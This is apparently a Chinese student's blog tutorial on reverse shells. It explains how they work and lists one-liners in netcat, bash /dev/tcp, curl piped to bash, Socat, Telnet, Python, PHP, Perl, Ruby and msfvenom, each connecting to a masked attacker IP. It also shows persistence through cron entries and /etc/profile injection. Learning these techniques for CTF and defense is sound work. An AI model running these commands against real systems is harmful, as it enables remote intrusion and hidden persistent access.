反弹shell


前言

参考学长的博客https://c3ngh.top
会出三篇文章,一个是SUID提权的,一个是学习反弹shell的,最后是两个结合在一起的赛题练习

什么是反弹shell

反弹shell是指目标主机主动向攻击者的主机发起连接,然后攻击者利用这个连接与目标主机进行交互。与之相对的是绑定shell,它是在目标主机上开放一个监听端口,攻击者直接连接这个端口

反弹shell的工作原理

攻击者监听:攻击者在自己的机器上打开一个监听端口,等待目标主机连接
目标主机发起连接:通过漏洞利用或命令注入,攻击者让目标主机执行一条指令,这条指令会主动连接攻击者的IP和端口
建立通信通道:连接成功后,目标主机将自己的命令行输入输出通过这个通道传递给攻击者
攻击者执行命令:攻击者通过这个通道直接操作目标主机
简单来说:A攻击B,A监听自己的某个端口,B主动访问A的那个端口,在A上对B进行命令执行,谁攻击谁监听自己,谁被攻击谁主动访问

为什么要反弹shell

1.目标主机位于内网(NAT环境)或防火墙后,攻击者无法直接访问目标主机的开放端口
2.目标主机有防火墙限制入站流量,反弹shell利用目标主机主动发起出站连接,而防火墙通常不会限制出战流量
3.目标主机没有固定IP,如果目标主机使用动态分配的IP地址(例如内网DHCP分配),攻击者很难找到目标主机的IP
4.规避入侵检测系统
5.限制攻击者暴露自身位置

利用netcat反弹shell

攻击机开启本地监听

1
netcat -lvvp 12345

目标主机主动连接攻击机

1
2
netcat 120.xxx.xxx.xxx 11451 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

这里我来实操一下
不行哎,我好像就一个公网ip,kail又不出网

利用bash反弹shell

利用bash反弹shell

攻击机开启本地监听:
BASH

1
nc -lvvp 11451

目标机主动连接攻击机:
BASH

1
2
bash -i >& /dev/tcp/120.xxx.xxx.xxx/11451 0>&1
bash -c 'bash -i >& /dev/tcp/120.xxx.xxx.xxx/11451 0>&1',这里就像是两次提权的了

Curl配合Bash反弹shell

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
BASH

1
bash -i >& /dev/tcp/120.xxx.xxx.xxx/11451 0>&1

并开启11451端口的监听。

然后再目标机上执行如下,即可反弹shell:
BASH

1
curl 120.xxx.xxx.xxx|bash

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
BASH

1
2
3
*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/120.xxx.xxx.xxx/11451 0>&1

#每隔一分钟,向120.xxx.xxx.xxx的11451号端口发送shell

将反弹shell的命令写入/etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。
BASH

1
2
/bin/bash -i >& /dev/tcp/120.xxx.xxx.xxx/11451 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell

利用Socat反弹shell

攻击机开启本地监听:

1
2
3
socat TCP-LISTEN:11451 -

nc -lvvp 11451

目标机主动连接攻击机:

1
socat tcp-connect:120.xxx.xxx.xxx:11451 exec:'bash -li',pty,stderr,setsid,sigint,sane

利用Telnet反弹shell

方法1

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
mknod a p; telnet 120.xxx.xxx.xxx 11451 0<a | /bin/bash 1>a

方法2

攻击机需要开启两个本地监听:

1
2
nc -lvvp 11451
nc -lvvp 19198

目标机主动连接攻击机

1
telnet 120.xxx.xxx.xxx 11451 | /bin/bash | telnet 120.xxx.xxx.xxx 19198

Python 脚本反弹shell

攻击机开启本地监听:

1
nc -lvvp 12345

目标机主动连接攻击机:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.xxx.xxx.xxx",11451));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

当然,我好像在win上运行这个,tabby的ssh运行,还是没有连接上。
下面补充一些有用的知识
上面的代码有些错误,如果要在win的cmd运行的话
你这个错误是因为 Windows 命令行里的单引号 ‘ 用法不对,Windows 命令提示符(cmd)不支持用单引号包裹字符串,只能用双引号 “。

另外,Windows 上用 Python 反弹 Linux shell 也会有路径和命令的问题。
Windows 命令行执行 Python 反弹 Shell 正确写法:

把整个 Python 代码用双引号包裹,内部字符串用单引号
解决方案:放行 12345 端口

在阿里云服务器上执行:

sudo firewall-cmd –add-port=12345/tcp –permanent
sudo firewall-cmd –reload

确认是否生效:

sudo firewall-cmd –list-ports

应该能看到:

… 12345/tcp

PHP 脚本反弹shell

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
php -r '$sock=fsockopen("120.xxx.xxx.xxx",11451);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl 脚本反弹shell

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
perl -e 'use Socket;$i="120.xxx.xxx.xxx";$p=11451;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby 脚本反弹shell

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
2
3
ruby -rsocket -e 'c=TCPSocket.new("120.xxx.xxx.xxx","11451");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("120.xxx.xxx.xxx","11451");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

使用Metasploit生成反弹shell

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:

1
2
3
msfvenom -l payloads | grep 'cmd/unix/reverse'

msfvenom -p cmd/unix/reverse_python LHOST=120.xxx.xxx.xxx LPORT=11451 -f raw

反弹shell后获取模拟终端

我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:
BASH

1
python -c "import pty;pty.spawn('/bin/bash')"

小结

好像看学长博客,可以用自己服务器连接到自己的电脑,?,为啥我的好像不可以哎
后面弄一个wsl试试


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录